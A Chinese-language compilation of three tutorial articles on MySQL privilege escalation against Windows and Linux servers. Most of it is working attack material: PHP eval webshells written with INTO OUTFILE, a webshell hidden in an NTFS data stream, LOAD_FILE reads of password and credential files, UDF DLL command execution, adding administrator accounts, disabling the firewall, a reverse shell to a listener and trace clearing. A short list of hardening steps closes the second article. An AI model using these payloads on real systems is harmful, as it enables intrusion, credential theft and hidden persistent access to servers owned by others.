MySQL提權篇

一、Mysql提權必備條件

1.服務器安裝Mysql數據庫

利用Mysql提權的前提就是服務器安裝了mysql數據庫,且mysql的服務沒有降權,Mysql數據庫默認安裝是以系統權限繼承的,並且需要獲取Mysql root賬號密碼。

2.判斷Mysql服務運行權限

對於Mysql數據庫服務運行權限有很多方法,我這裏主要介紹三種,一種是通過查看系統賬號,也即使用「net user」命令查看系統當前賬號,如果出現了mysql這類用戶,以爲着系統可能進行了降權,一般情況都不會降權。第二種方法就是看mysqld運行的Priority值,如下圖所示。通過aspx的網頁木馬來查看Process信息,在圖中我們可以看到系統權限的Priority值爲「8 」,如果Mysqld的Priority值也爲8則意味着Mysql是以System權限運行的。第三種方法是查看端口可否外聯,一般情況下是不允許root等賬號外聯,外部直接連接意味着賬號可能被截取和嗅探,通過本地客戶端直接連接對方服務器,直接查看和操作Mysql數據庫,可以通過掃描3306端口來判斷是否提供對外連接。

關係型數據庫管理系統MySQL提權基礎

查看Priority值來判斷Mysqld服務運行權限

二、Mysql密碼獲取與破解

1.獲取網站數據庫賬號和密碼

對於CMS系統,一定會有一個文件定義了數據庫連接的用戶和密碼。例如以下代碼:

 
 
  1. $db['default']['hostname'] = 'localhost'
  2. $db['default']['username'] = 'root'
  3. $db['default']['password'] = '123456'
  4. $db['default']['database'] = 'crm'

dedecms數據庫安裝的信息就是寫在data/common.inc.php,Discuz的數據庫信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般數據庫配置文件都會位於config、application、conn、db等目錄,配置文件名稱一般會是conn.asp/php/aspx/jsp等。對於java會在/WEB-INF/config/config.properties中配置,總之通過查看源代碼,進行層層分析,終究會發現數據庫配置文件。

對於Linux操作系統,除了上述方法獲取root賬號密碼外,還可以通過查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密碼。當然對於Mysql5.6以下版本,由於設計Mysql程序時對於安全性的重視度非常低,用戶密碼是明文傳輸。MySQL對於binary log中和用戶密碼相關的操作是不加密的。如果你向MySQL發送了例如create user,grant user ... identified by這樣的攜帶初始明文密碼的指令,那麼會在binary log中原原本本的被還原出來,執行「mysqlbinlog binlog.000001」命令即可獲取,如下圖所示。

關係型數據庫管理系統MySQL提權基礎

查看binlog日誌

2.獲取Mysql數據庫user表

MYSQL所有設置默認都保存在「C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL」中,也就是安裝程序的data目錄下,有關用戶一共有三個文件即user.frm、user.MYD和 user.MYI,MYSQL數據庫用戶密碼都保存在user.MYD文件中,包括root用戶和其他用戶的密碼。在有權限的情況下,我們可以將User.frm、user.myd和User.myi三個文件下載到本地,通過本地的mysql環境直接讀取user表中的數據。當然也可使用文本編輯器將user.MYD打開將root賬號的密碼複製出來到到cmd5.com進行查詢和破解。對於Mysql數據庫密碼如果通過cmd5.com等網站不能查詢到密碼則需要自己手動破解,有關Mysql數據庫密碼手動破解,請查閱下一章。

3.Mysql密碼查詢

可以通過以下查詢語句直接查詢mysql數據庫中的所有用戶和密碼。

 
 
  1. select user,password from mysql.user
  2. select user,password from mysql.user where user ='root'

4.MySQL密碼加密算法

MySQL實際上是使用了兩次SHA1夾雜一次unhex的方式對用戶密碼進行了加密。具體的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通過查詢語句進行驗證,查詢結果如下圖所示。

 
 
  1. select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));  

圖3mysql數據庫加密算法

mysql數據庫加密算法

三、Mysql獲取webshell

Mysql root賬號網站獲取webshell具備的條件:

1.知道站點物理路徑,網站物理途徑可以通過phpinfo函數、登錄後臺查看系統屬性、文件出錯信息、查看網站源代碼以及路徑猜測等方法獲取。

2.有足夠大的權限,最好是root賬號權限或者具備root權限的其它賬號,可以用select user,password from mysql.user進行測試。

3.magic_quotes_gpc()=OFF。對於PHP magic_quotes_gpc=on的情況,可以不對輸入和輸出數據庫的字符串數據作addslashes()和stripslashes()的操作,數據也會正常顯示。 對於PHP magic_quotes_gpc=off 的情況必須使用addslashes()對輸入數據進行處理,但並不需要使用stripslashes()格式化輸出,因爲addslashes()並未將反斜槓一起寫入數據庫,只是幫助mysql完成了sql語句的執行。

4.直接導出webshell,執行下面語句

 
 
  1. Select '<?php eval($_POST[cmd])?>' into outfile '物理路徑'
  2. and 1=2 union all select 一句話HEX值 into outfile '路徑'

也可以通過創建表來直接完成,其中d:/www/exehack.php爲webshell的名稱和路徑:

 
 
  1. CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); 
  2. INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>'); 
  3. SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php'
  4. DROP TABLE IF EXISTS `darkmoon`; 

5.有些情況下掌握了MSSQL數據庫口令,但服務器環境是Windows2008,web環境是PHP,則可以通過SQLTOOLs工具,直接連接命令,通過以下命令寫入shell:

 
 
  1. echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php 

四、Mysql滲透有用的一些技巧總結

1.常見的有助於滲透到mysql函數

在對MySQL數據庫架構的滲透中,MySQL內置的函數DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用來獲取一些系統的信息,而load_file()作用是讀入文件,並將文件內容作爲一個字符串返回,這在滲透中尤其有用,例如發現一個php的SQL注入點,則可以通過構造「-1 union select 1,1,1,1,load_file('c:/boot.ini')」來獲取boot.ini文件的內容。

(1)一些常見的系統配置文件

 
 
  1. c:/boot.ini //查看系統版本 
  2. c:/windows/php.ini //php配置信息 
  3. c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼 
  4. c:/winnt/php.ini 
  5. c:/winnt/my.ini 
  6. c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼 
  7. c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機網站路徑和密碼 
  8. c:\Program Files\Serv-U\ServUDaemon.ini 
  9. c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置 
  10. c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼 
  11. c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲於此 
  12. c:\Program Files\RhinoSoft.com\ServUDaemon.exe 
  13. C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 
  14. //存儲了pcAnywhere的登陸密碼 
  15. c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系統apache文件 
  16. c:/Resin-3.0.14/conf/resin.conf //查看jsp開發的網站 resin文件配置信息. 
  17. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機 
  18. d:\APACHE\Apache2\conf\httpd.conf 
  19. C:\Program Files\mysql\my.ini 
  20. C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼 

LUNIX/UNIX 下:

 
 
  1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  
  2. /usr/local/apache2/conf/httpd.conf  
  3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置  
  4. /usr/local/app/php5/lib/php.ini //PHP相關設置 
  5. /etc/sysconfig/iptables //從中得到防火牆規則策略  
  6. /etc/httpd/conf/httpd.conf // apache配置文件  
  7. /etc/rsyncd.conf //同步程序配置文件  
  8. /etc/my.cnf //mysql的配置文件  
  9. /etc/redhat-release //系統版本  
  10. /etc/issue  
  11. /etc/issue.net  
  12. /usr/local/app/php5/lib/php.ini //PHP相關設置 
  13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置  
  14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件  
  15. /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看  
  16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
  17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看  
  18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虛擬主機配置文件  
  19. /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看  
  20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
  21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看  
  22. /etc/sysconfig/iptables 查看防火牆策略 
  23. load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄 
  24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 
  25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 

(2)直接讀取配置文件

 
 
  1. SELECT LOAD_FILE('/etc/passwd' ) 
  2. SELECT LOAD_FILE('/etc/issues' ) 
  3. SELECT LOAD_FILE('/etc/etc/rc.local' ) 
  4. SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) 
  5. SELECT LOAD_FILE('/etc/nginx/nginx.conf' ) 

(3)Linux下通過load_file函數讀出來的數據庫有可能是hex編碼,要正常查看需要使用NotePad將將以上代碼全部選中,然後選擇插件「Converter」-「HEX-ASCII」進行轉換。

2. Windows下MySQL提權時無法創建目錄解決辦法及數據流隱藏Webshell

NTFS中的ADS(交換數據流)可以建立目錄,隱藏webshell等等。

(1) Mysql創建目錄

當MySQL版本較高時,自定義函數的dll需要放在mysql目錄下的lib\plugin\。一般普通的腳本是沒有在這個文件夾下創建文件夾的權限的。這裏可以用到ads來突破:

 
 
  1. select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION'

會在mysql目錄下生成一個lib目錄,這樣你就可以將你的udf放在這個插件目錄下了。

(2)隱藏webshell

在服務器上echo一個數據流文件進去,比如index.php是網頁正常文件,我們可以這樣子搞:

 
 
  1. echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg 

這樣子就生成了一個不可見的shell a.jpg,常規的文件管理器、type命令,dir命令、del命令發現都找不出那個a.jpg的。我們可以在另外一個正常文件裏把這個ADS文件include進去,這樣子就可以正常解析我們的一句話了。

3.有用的一些技巧

(1)3389端口命令行下獲取總結

 
 
  1. netstat -an |find "3389" 查看3389端口是否開放 
  2. tasklist /svc | find "TermService" 獲取對應TermService的PID號 
  3. netstat -ano | find '1340' 查看上面獲取的PID號對應的TCP端口號 

(2)Windows 2008Server命令行開啓3389

 
 
  1. wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 
  2. wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 
  3. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v 

(3)wce64 -w 命令直接獲取系統明文登錄密碼

(4)在phpinfo中查找SCRIPT_FILENAME關鍵字獲取真實路徑

(5)Linux終端提示符下查看mysql有關信息,ps -ef|grep mysql

(6)Linux下啓動mysql服務: service mysqld start

(7)Linux下查看mysqld是否啓動:ps -el | grep mysqld

(8)查看mysql在哪裏:whereis mysql

(9)查詢運行文件所在路徑 which mysql

(10)udf.dll提權常見函數

  • cmdshell 執行cmd;
  • downloader 下載者,到網上下載指定文件並保存到指定目錄;
  • open3389 通用開3389終端服務,可指定端口(不改端口無需重啓);
  • backshell 反彈Shell;
  • ProcessView 枚舉系統進程;
  • KillProcess 終止指定進程;
  • regread 讀註冊表;
  • regwrite 寫註冊表;
  • shut 關機,註銷,重啓;
  • about 說明與幫助函數;

具體用戶示例:

 
 
  1. select cmdshell('net user iis_user [email protected]#abcABC /add'); 
  2. select cmdshell('net localgroup administrators iis_user /add'); 
  3. select cmdshell('regedit /s d:web3389.reg'); 
  4. select cmdshell('netstat -an'); 

4.一些常見的Mysql命令

(1)連接到mysql 服務器

 
 
  1. mysql -h 192.168.0.1 -u root -pantian365.com antian365 

(2)查看所有數據庫

 
 
  1. show databases; 

(3)使用某個數據庫

 
 
  1. use testdatabase; 

(4)查看數據庫中的所有表

 
 
  1. show tables; 

(5)在test數據庫下創建一個新的表

 
 
  1. create table a (cmd text); 

(6)在表中插入內容添加用戶命令

 
 
  1. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  2. nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );  
  3. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " ); 

(7)查詢a表中所有的數據

 
 
  1. select * from a 

(8)導出數據到系統某個目錄下

 
 
  1. select * from a into outfile "c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啓動\\a.vbs"

(9)查詢數據庫數據路徑

 
 
  1. select @@datadir; 

(10)查看所有dir路徑

 
 
  1. SHOW VARIABLES WHERE Variable_Name LIKE "%dir" 

(11)查看插件路徑

 
 
  1. show variables like '%plugins%' ; 

(12)查詢MYSQL安裝路徑

 
 
  1. select @@basedir 

(13)常用內置函數

 
 
  1. select system_user() 查看系統用戶 
  2. select current_user() 查詢當前用戶 
  3. select user(); 查詢用戶 
  4. SELECT version() 查詢數據庫版本 
  5. SELECT database() 查詢當前連接的數據庫 
  6. select @@version_compile_os 查詢當前操作系統 
  7. select now(); 顯示當前時間 

(14)獲取表結構

 
 
  1. desc 表名 或者show columns from 表名 

(15)刪除表

 
 
  1. drop table <表名> 

注:本文是筆者撰寫的Mysql安全系列文章的第一期,後續我們會持續推出,敬請期待。

參考文章:

http://www.jb51.net/hack/41493.html

http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/

http://www.myhack58.com/Article/html/3/8/2016/75694.htm

http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html

MySQL數據庫反彈端口連接提權

通過mysql查詢來直接提權,可以針對以下場景:

(1)通過網站無法獲取webshell

(2)Webshell無法執行命令

(3)有phpmyadmin和root賬號,無法查詢或者無法獲取網站的真實路徑

注:本文是筆者撰寫的Mysql安全系列文章的第二篇。第一篇爲《關係型數據庫管理系統MySQL提權基礎》。

一、反彈端口連接提權的條件

1.訪問Mysql數據庫

獲取了數據庫root賬號和密碼或者相當於root權限的賬號和密碼,同時能夠執行查詢命令。換句話說可以通過phpmyadmin連接、通過網站後臺的執行數據庫命令或者「Navicat for MySQL」等客戶端軟件連接。

2.可導出文件udf.dll到系統目錄或者Mysql數據庫安裝目錄下的lib下的plugin目錄。如果有上傳條件,可以直接上傳udf.dll到對應目錄。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目錄,Mysql5.1以上版本到Mysql安裝目錄下的plugin 目錄,例如D:\ComsenzEXP\MySQL\lib\plugin。

3.授權mysql數據庫遠程用戶登錄

可以修改host爲%,更新權限,然後通過Navicat for MySQL連接數據庫,直接打開命令提示窗口進行導出。

允許遠程用戶登錄訪問mysql的方法,需要手動增加可以遠程訪問數據庫的用戶。

方法一:本地登入mysql,更改 "mysql" 數據庫裏的 "user" 表裏的 "host" 項,將"localhost"改爲"%"

 
 
  1. use mysql; 
  2. update user set host = '%' where user = 'root'

FLUSH PRIVILEGES ;

方法二:直接授權

從任何主機上使用root用戶,密碼:youpassword(你的root密碼)連接到mysql服務器:

 
 
  1. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION 
  2. FLUSH PRIVILEGES

二、具體實現方法

1.連接mysql服務器

(1)通過mysql客戶端工具可以直接連接

(2)通過phpmyadmin進行連接

(3)通過mysql.exe直接連接

2.執行查詢命令

(1)網上提供的「\. c:\mysql.txt」命令會出錯,最好通過phpmyadmin或者Navicat for MySQL等工具來進行查詢。修改mysql.txt中的最後一行代碼「select backshell("YourIP",4444);」爲自己反彈的IP和反彈監聽的端口。

(2)本地開啓監聽反彈的端口

nc.exe -vv -l -p 4444

(3)執行mysql查詢,將mysql.txt文件內容複製到查詢中執行。

成功後,你將獲得一個system權限的cmdshell。

3.添加用戶或者獲取管理員密碼

通過反彈shell添加用戶antian365,密碼www.antian365.com

 
 
  1. net user antian365 www.antian365.com /add  
  2. net localgroup administrators antian365 

三、一個提權實例

圖1進行監聽

1.在反彈監聽服務器上進行端口監聽

通過cmd命令提示符,執行nc監聽命令:nc –vv –l –p 4444,表示在本地監聽4444端口。如果是在公網上,這反彈監聽服務器必須有獨立IP,如果是內部網絡,則可以直接使用內網IP,如圖1所示。

圖1進行監聽

2.修改mysql.txt文件中反彈地址

在mysql.txt文件中將最後一行代碼修改爲前面設置的監聽IP地址和端口,如圖2所示,例如代碼:

select backshell("192.168.40.135",4444);//反彈監聽服務器IP192.168.40.135,端口4444

圖2修改查詢代碼中反彈shell地址和端口

圖2修改查詢代碼中反彈shell地址和端口

這個也可以再次單獨查詢:select backshell("192.168.40.135",4444);

3.執行查詢

可以通過mysql命令行下執行,也可以通過phpmyadmin查詢窗口以及一些mysql客戶端查詢進行,如圖3所示執行查詢。

圖3執行mysql查詢

圖3執行mysql查詢

說明:

(1)如果已經存在ghost表和backshell函數,可以執行以下命令進行刪除:

 
 
  1. drop table ghost;  
  2. drop FUNCTION backshell; 

(2)如果已經存在udf.dll,則可以跳過導出命令,執行:

 
 
  1. CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'

3.查看反彈結果

如圖4所示,顯示通過連接mysql執行查詢獲取的終端反彈shell,在該shell下可以直接執行net user、whoami等命令查看當前權限。

圖4查看反彈結果

圖4查看反彈結果

四、防範方法

1.查看mysql數據庫中user表授權的登錄host,禁止具備Root賬號權限的用戶通過「%」進行登錄。

2.禁止在網站CMS系統使用root賬號進行配置。

3.設置root賬號的密碼爲強密碼。

4.對Mysql執行程序進行降權,禁止網站用戶讀取user.frm、user.myd、user.myi。例如D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止網站用戶讀取和下載。

5.檢查mysql數據庫下的mysql表中是否存在其它無關表,檢查func表中的內容。

6.可以在相應的目錄下建立一個udf.dll空文件,並嚴格設置權限,任何人無讀取和寫入權限。

注:本文是筆者撰寫的Mysql安全系列文章的第二篇,我們將會持續推出後續文章,敬請期待。



mysql利用ntfs的ADS創建文件夾  http://blog.csdn.net/yiyefangzhou24/article/details/17190135


MYSQL提權總結   http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390


phpmyadmin直接提權 http://www.hack80.com/forum.php?mod=viewthread&tid=1304


通過phpmyadmin各種技巧拿webshell  https://www.exehack.net/99.html


實例解析:MySQL數據庫擴展接口UDF提權

一、UDF函數簡介

1.UDF介紹

UDF(user-defined function)是MySQL的一個拓展接口,也可稱之爲用戶自定義函數,它是用來拓展MySQL的技術手段,可以說是數據庫功能的一種擴展,用戶通過自定義函數來實現在MySQL中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像本機函數如ABS()或SOUNDEX()一樣方便。UDF官方介紹以及其函數定義請參考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常見的UDF提權外,其實Udf還有更多更廣泛的應用,例如https://github.com/mysqludf/repositories,就提供了非常多的應用:

lib_mysqludf_fPROJ4:一組擴展的科學函數,將地理經度和緯度座標轉換爲笛卡爾座標,反之亦然。

lib_mysqludf_json:用於將關係數據映射到JSON格式的函數的UDF庫。

lib_mysqludf_log:用於將調試信息寫入日誌文件的UDF庫。

lib_mysqludf_preg:直接在MySQL中使用PCRE正則表達式

lib_mysqludf_stat:用於統計分析的UDF庫。

lib_mysqludf_str:一個帶有MySQL附加字符串函數的UDF庫

lib_mysqludf_sys:具有與操作系統交互的功能的UDF庫。這些函數允許您與MySQL運行的執行環境進行交互。

lib_mysqludf_xml:一個UDF庫,用於直接從MySQL創建XML輸出。

有三種方法向MySQL添加新函數。

(1)可以通過用戶定義的函數(UDF)接口添加函數。用戶定義的函數被編譯爲庫文件,然後使用CREATE FUNCTION和DROP FUNCTION語句動態添加到服務器或從服務器中刪除。

(2)可以將函數添加爲本機(內置)MySQL函數。本機函數被編譯到 mysqld服務器並永久可用。

(3)添加函數的另一種方法是創建存儲的函數。這些是使用SQL語句編寫的,而不是通過編譯目標代碼。

二、Windows下UDF提權的條件和方法

Windows下UDF提權對於Windows2008以下服務器比較適用,也即針對Windows2000、Windows2003的成功率較高。

1. UDF提權條件

(1)Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。

(2)Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。

(3)掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數,一般以root賬號爲佳,具備root賬號所具備的權限的其它賬號也可以。

(4)可以將udf.dll寫入到相應目錄的權限。

2.提權方法

(1)獲取數據庫版本、數據位置以及插件位置等信息

 
 
  1. select version();//獲取數據庫版本 
  2. select user();//獲取數據庫用戶 
  3. select @@basedir ;//獲取安裝目錄 
  4. show variables like '%plugins%'; //尋找mysql安裝路徑 

(2)導出路徑

 
 
  1. C:\Winnt\udf.dll Windows 2000 
  2. C:\Windows\udf.dll Windows2003(有的系統被轉義,需要改爲C:Windowsudf.dll) 

MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數。該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建libplugin文件夾,然後將udf.dll文件導出到該目錄即可。

在某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,網上大牛發現利用NTFS ADS流來創建文件夾的方法:

 
 
  1. select @@basedir; //查找到mysql的目錄 
  2.  
  3. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄 
  4.  
  5. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創建plugin目錄 

執行成功以後就會plugin目錄,然後再進行導出udf.dll即可。

(3)創建cmdshell 函數,該函數叫什麼名字在後續中則使用該函數進行查詢:

 
 
  1. create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; 

(4)執行命令:

 
 
  1. select sys_eval(‘whoami’); 

一般情況下不會出現創建不成功哦。

連不上3389可以先停止windows防火牆和篩選

 
 
  1. select sys_eval(‘net stop policyagent’); 
  2. select sys_eval(‘net stop sharedaccess’); 

udf.dll下常見函數:

cmdshell 執行cmd;

downloader 下載者,到網上下載指定文件並保存到指定目錄;

open3389 通用開3389終端服務,可指定端口(不改端口無需重啓);

backshell 反彈Shell;

ProcessView 枚舉系統進程;

KillProcess 終止指定進程;

regread 讀註冊表;

regwrite 寫註冊表;

shut 關機,註銷,重啓;

about 說明與幫助函數;

具體用戶示例:

 
 
  1. select cmdshell('net user iis_user [email protected]#abcABC /add'); 
  2. select cmdshell('net localgroup administrators iis_user /add'); 
  3. select cmdshell('regedit /s d:web3389.reg'); 
  4. select cmdshell('netstat -an'); 

(5)清除痕跡

 
 
  1. drop function cmdshell;// 將函數刪除 

刪除udf.dll文件以及其它相關入侵文件及日誌。

(6)常見錯誤

 
 
  1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 
  2.  
  3. SHOW VARIABLES LIKE "secure_file_priv" 

在my.ini 或者mysql.cnf 文件中註銷 (使用#號) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將my.ini中的skip-grant-tables選項去掉。

三、一個提權實例

1.設置Mysql提權腳本文件

將Mysql提權腳本文件上傳到服務器上,運行後,需要對IP地址、UID、passwod、db進行配置,如圖1所示,IP地址一般可以設置爲localhost、127.0.0.1以及真實IP地址,uid默認爲root,其它具有root用戶權限的用戶名稱也可以,pwd爲具有root權限用戶的密碼,db默認選擇mysql,單擊提交查詢內容進行連接測試。

實例解析:MySQL數據庫擴展接口UDF提權

設置Mysql提交腳本文件

2.進行連接測試

連接成功後,會給出相應的提示信息,如圖2所示,給出用戶,數據庫,數據目錄(datadir),基本目錄(basedir),版本,插件路徑,mysql函數等信息。

實例解析:MySQL數據庫擴展接口UDF提權

連接測試

3.創建「shell」函數

單擊「Dump UDF」 將UDF.DLL文件導出到默認的插件目錄下,然後再運行「Create Function」將創建「shell」函數。如圖3所示,如果前面已經創建過shell函數,則會提示系統中已經存在「shell」函數 。

實例解析:MySQL數據庫擴展接口UDF提權

創建「shell」函數

4.查看用戶

在查詢窗口中輸入「select shell('cmd','net user')」查看系統所有的用戶,如圖4所示,可以正常查看系統的所有用戶信息。

實例解析:MySQL數據庫擴展接口UDF提權

查看用戶

5.創建具有管理員權限的用戶

分別在查詢中輸入腳本「select shell('cmd','net user temp temp123456')」、「select shell('cmd','net localgroup administrators temp /add ')」並執行該查詢命令,如果執行成功,則表示在系統中添加「temp」用戶,密碼爲「temp123456」,同時將該用戶添加到管理員組中,使其具備管理員權限,執行成功後如圖5,圖6所示。

實例解析:MySQL數據庫擴展接口UDF提權

添加temp用戶

實例解析:MySQL數據庫擴展接口UDF提權

將用戶temp添加到管理員組

6.提權成功

在SQL查詢中輸入「select shell('cmd','net localgroup administrators')」命令查看剛纔添加到用戶是否真的添加成功,如圖7所示,查詢結果表明已經將temp用戶添加到管理員組中。

實例解析:MySQL數據庫擴展接口UDF提權

查看管理員用戶

目前對於一些網站來說,一般都會提供遠程終端服務,只要用戶添加成功,則可以直接登錄該服務器,如圖8所示,輸入用戶名和密碼,成功進入該服務器,至此通過mysql的root用戶成功提權。

圖8成功進入服務器

四、其它提權工具

v5est0r 寫了一個Mysql提權綜合利用工具,詳細情況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

1.自動導出你的backdoor和mof文件

2.自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權

3.導出LPK.dll文件,劫持系統目錄提權

4.寫啓動項提權

UdF自動提權:

 
 
  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 

LPK劫持提權:

 
 
  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 

啓動項提權:

 
 
  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無法進行提權,如圖9所示。

 
 
  1. LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini'); 

實例解析:MySQL數據庫擴展接口UDF提權

查看mysql數據庫配置文件內容

五、UDF提權總結與防範

目前安裝的Mysql數據庫版本基本是高於5.1版本,通過Mysql查詢可以導出udf.dll但由於mysql中my.ini文件的配置,有可能會導致無法創建自定義函數。這時候就需要修改my.ini進行重啓。

1.提權總結

(1)有webshell的提權

如果獲取了webshell則比較簡單,目前有很多Mysql提權的PHP腳本,可以比較快速的進行提權,在此不贅述。

(2)無webshell的提權

 
 
  1. select version(); //獲取mysql版本 
  2.  
  3. select @@basedir; //查找到mysql的目錄 
  4.  
  5. SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置 

通過查詢將udf.dll轉成代碼插入數據庫,然後導出

 
 
  1. use mysql; 
  2.  
  3. set @a=concat('',0x代碼); 
  4.  
  5. create table Ghost(data LONGBLOB); 
  6.  
  7. insert into Ghost values("");update Ghost set data = @a; 
  8.  
  9. 代碼爲select hex(load_file('c:/udf.dll'))中的內容 
  10.  
  11. select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //導出ufd.dll 
  12.  
  13. set @a=concat('',0x代碼); 
  14.  
  15. create table Ghost(data LONGBLOB); 
  16.  
  17. insert into Ghost values("");update Ghost set data = @a; 
  18.  
  19. 代碼爲select hex(load_file('c:/udf.dll'))中的內容 
  20.  
  21. select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //導出ufd.dll 
  22.  
  23. CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//創建函數 
相關文章
相關標籤/搜索